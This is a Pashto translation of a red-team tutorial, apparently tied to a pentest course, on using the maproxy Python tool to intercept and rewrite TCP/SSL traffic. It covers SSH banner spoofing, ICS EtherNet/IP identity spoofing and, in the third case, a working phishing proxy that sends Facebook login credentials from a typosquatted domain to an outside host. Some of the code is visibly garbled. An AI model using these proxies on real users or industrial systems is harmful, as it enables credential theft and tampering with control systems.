په الوتنه کې د شبکې ډاټا پروسس کړئ

د مقالې ژباړه د کورس د پیل په ماښام چمتو شوې وه "پینټیسټ. د ننوتلو ازموینې تمرین".

په الوتنه کې د شبکې ډاټا پروسس کړئ

تشریح

د امنیتي ارزونو مختلف ډولونه، د منظم ننوتلو ازموینې او د ریډ ټیم عملیاتو څخه نیولې د IoT/ICS وسیلو او SCADA هیک کولو پورې، د بائنری شبکې پروتوکولونو سره کار کول شامل دي، دا د پیرودونکي او هدف ترمنځ د شبکې ډیټا مداخله او تعدیل کول دي. د شبکې ترافیک سنیف کول یو ستونزمن کار نه دی ځکه چې موږ د ویرشارک، Tcpdump یا Scapy په څیر وسیلې لرو، مګر داسې ښکاري چې ترمیم یو ډیر کارګر کار دی ځکه چې موږ به د شبکې ډیټا لوستلو، فلټر کولو، بدلولو لپاره یو ډول انٹرفیس ته اړتیا ولرو. دا په الوتنه کې او په نږدې ریښتیني وخت کې بیرته هدف کوربه ته واستوئ. سربیره پردې ، دا به غوره وي که چیرې دا ډول وسیله په اتوماتيک ډول د ډیری موازي اړیکو سره کار وکړي او د سکریپټونو په کارولو سره د تنظیم وړ وي.

یوه ورځ ما یوه وسیله کشف کړه چې نوم یې واخیست maproxy، اسنادو په چټکۍ سره ما ته دا روښانه کړه maproxy - یوازې هغه څه چې زه ورته اړتیا لرم. دا یو کافي ساده، هر اړخیز او په اسانۍ سره د تنظیم وړ TCP پراکسي دی. ما دا وسیله په ډیری خورا پیچلي غوښتنلیکونو کې آزموینه وکړه، په شمول د ICS وسیلو (کوم چې ډیری کڅوړې تولیدوي) ترڅو وګورئ چې دا ډیری موازي ارتباطات اداره کولی شي، او وسیله ښه ترسره کوي.

دا مقاله به تاسو ته په الوتنه کې د شبکې ډیټا پروسس کولو لپاره معرفي کړي maproxy.

عمومي کتنه

اوزار maproxy د تورناډو پر بنسټ والړ دی، په Python کې یو مشهور او بالغ اسینکرونوس شبکې چوکاټ.

په عموم کې، دا کولی شي په څو حالتونو کې کار وکړي:

  • TCP:TCP - نه کوډ شوي TCP پیوستون؛
  • TCP:SSL и SSL:TCP - د یو طرفه کوډ کولو سره؛
  • SSL:SSL - دوه طرفه کوډ کول.

دا د کتابتون په توګه راځي. د ګړندي پیل لپاره ، تاسو کولی شئ د مثال فایلونه وکاروئ کوم چې اصلي منعکس کوي د کتابتون دندې:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

قضیه 1 - ساده دوه اړخیز پراکسي

پر بنسټ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

په تلواله ProxyServer() دوه دلیلونه اخلي - د پیوستون موقعیت او د هدف بندر. server.listen() یو دلیل اخلي - د راتلونکي پیوستون اوریدلو لپاره بندر.

د سکریپټ اجرا کول:

# python tcp2tcp.py

د ازموینې د چلولو لپاره، موږ به د خپل پراکسي سکریپټ له لارې د محلي SSH سرور سره اړیکه ونیسو، کوم چې اوریدل کیږي 2222/tcp بندر او د معیاري بندر سره نښلوي 22/tcp د SSH سرورونه:

په الوتنه کې د شبکې ډاټا پروسس کړئ

د ښه راغلاست بینر تاسو ته خبر ورکوي چې زموږ د مثال سکریپټ په بریالیتوب سره د شبکې ترافیک پراکسي کړی.

قضیه 2 - د معلوماتو بدلون

بل ډیمو سکریپټ logging_proxy.py د شبکې ډیټا سره متقابل عمل لپاره مثالی. په فایل کې نظرونه د ټولګي میتودونه تشریح کوي چې تاسو کولی شئ خپل هدف ته د رسیدو لپاره تعدیل کړئ:

په الوتنه کې د شبکې ډاټا پروسس کړئ

تر ټولو په زړه پورې خبره دلته ده:

  • on_c2p_done_read - د پیرودونکي څخه سرور ته د لارې په اوږدو کې د معلوماتو مداخله کول؛
  • on_p2s_done_read - بیرته راګرځیدل.

راځئ چې د SSH بینر بدلولو هڅه وکړو چې سرور مراجعینو ته راستانه شي:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

سکریپټ اجرا کړئ:

په الوتنه کې د شبکې ډاټا پروسس کړئ

لکه څنګه چې تاسو لیدلی شئ، پیرودونکی ګمراه شوی و ځکه چې د هغه لپاره د SSH سرور نوم بدل شوی و «DumnySSH».

په الوتنه کې د شبکې ډاټا پروسس کړئ

قضیه 3 - ساده فشینګ ویب پاڼه

د دې وسیلې کارولو لپاره نه ختمیدونکي لارې شتون لري. دا ځل راځئ چې د سره ټیم عملیاتي اړخ څخه یو څه نور عملي تمرکز وکړو. راځئ چې د لینډینګ پاڼې تقلید وکړو m.facebook.com او د قصدي ټایپو سره دودیز ډومین وکاروئ، د بیلګې په توګه، m.facebok.com. د ښودلو موخو لپاره، اجازه راکړئ یوازې فرض کړئ چې ډومین زموږ لخوا راجستر شوی.

موږ به د خپلو قربانیانو پراکسي او د فیسبوک سرور ته د ایس ایس ایل سټریم سره یو نه کوډ شوی شبکه اړیکه رامینځته کړو (31.13.81.36). د دې مثال د کار کولو لپاره، موږ اړتیا لرو چې د HTTP کوربه سرلیک ځای په ځای کړو او سم کوربه نوم داخل کړو، او موږ به د غبرګون کمپریشن هم غیر فعال کړو نو موږ کولی شو په اسانۍ سره مینځپانګې ته لاسرسی ومومي. په نهایت کې به موږ د HTML فورمه بدله کړو ترڅو د ننوتلو سندونه موږ ته د فیسبوک د سرورونو پرځای لیږل کیږي:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ps/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

په لنډیز کې:

په الوتنه کې د شبکې ډاټا پروسس کړئ

لکه څنګه چې تاسو لیدلی شئ، موږ په بریالیتوب سره د اصلي سایټ ځای په ځای کولو توان درلود.

قضیه 4 – پورټینګ ایترنیټ/IP

زه د څه مودې لپاره د صنعتي وسایلو او سافټویر (ICS/SCADA) سره معامله کوم، لکه د پروګرام وړ کنټرولر (PLC)، I/O ماډلونه، ډرایو، ریلونه، د زینې پروګرام کولو چاپیریال او نور ډیر څه. دا قضیه د هغو کسانو لپاره ده چې صنعتي شیان خوښوي. د داسې حلونو هیک کول په فعاله توګه د شبکې پروتوکولونو سره لوبې کول شامل دي. په لاندې مثال کې، زه غواړم وښیم چې تاسو څنګه کولی شئ د ICS/SCADA شبکې ترافیک بدل کړئ.

د دې لپاره تاسو لاندې ته اړتیا لرئ:

  • د شبکې سنیفیر، د بیلګې په توګه، ویرشارک؛
  • ایترنیټ/IP یا یوازې د SIP وسیله، تاسو کولی شئ دا د شوډان خدمت په کارولو سره ومومئ؛
  • زموږ سکریپټ پر بنسټ والړ دی maproxy.

لومړی، راځئ وګورو چې د CIP (عام صنعتي پروتوکول) څخه د پیژندنې عادي ځواب څه ډول ښکاري:

په الوتنه کې د شبکې ډاټا پروسس کړئ

د وسیلې پیژندنه د ایترنیټ/IP پروتوکول په کارولو سره ترسره کیږي ، کوم چې د صنعتي ایترنیټ پروتوکول پرمختللې نسخه ده چې د کنټرول پروتوکولونه لکه CIP پوښي. موږ به د روښانه شوي ID نوم بدل کړو کوم چې په سکرین شاټ کې لیدل کیږي "NI-IndComm د ایترنیټ لپاره" زموږ پراکسي سکریپټ کارول. موږ کولی شو سکریپټ بیا وکاروو logging_proxy.py او په ورته ډول د ټولګي طریقه تعدیل کړئ on_p2s_done_read، ځکه چې موږ غواړو یو بل پیژند نوم په پیرودونکي کې څرګند شي.

کوډ:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

په لازمي ډول ، موږ دوه ځله د وسیلې پیژندنې غوښتنه وکړه ، دوهم ځواب اصلي و ، او لومړی یې په الوتنه کې تعدیل شوی و.

او وروستی

زما په نظر maproxy یو اسانه او ساده وسیله، چې په Python کې هم لیکل شوې، نو زه باور لرم چې تاسو هم د دې کارولو څخه ګټه پورته کولی شئ. البته، د شبکې ډیټا پروسس کولو او بدلولو لپاره ډیر پیچلي وسیلې شتون لري، مګر دوی ډیر پام ته اړتیا لري او معمولا د یوې ځانګړې کارونې قضیې لپاره رامینځته کیږي، د بیلګې په توګه. مورینا, موډلیشکا او یا بریګینکس د دریم سره ورته قضیو لپاره، یا canape د وروستۍ قضیې لپاره. یوه لاره یا بل، د مرستې سره maproxy تاسو کولی شئ د شبکې ډیټا مداخلې لپاره خپل نظرونه په چټکۍ سره پلي کړئ، ځکه چې د مثال سکریپټونه خورا روښانه دي.

په وینډوز AD کې د تصدیق کولو میکانیزمونو ازموینه

سرچینه: www.habr.com

Add a comment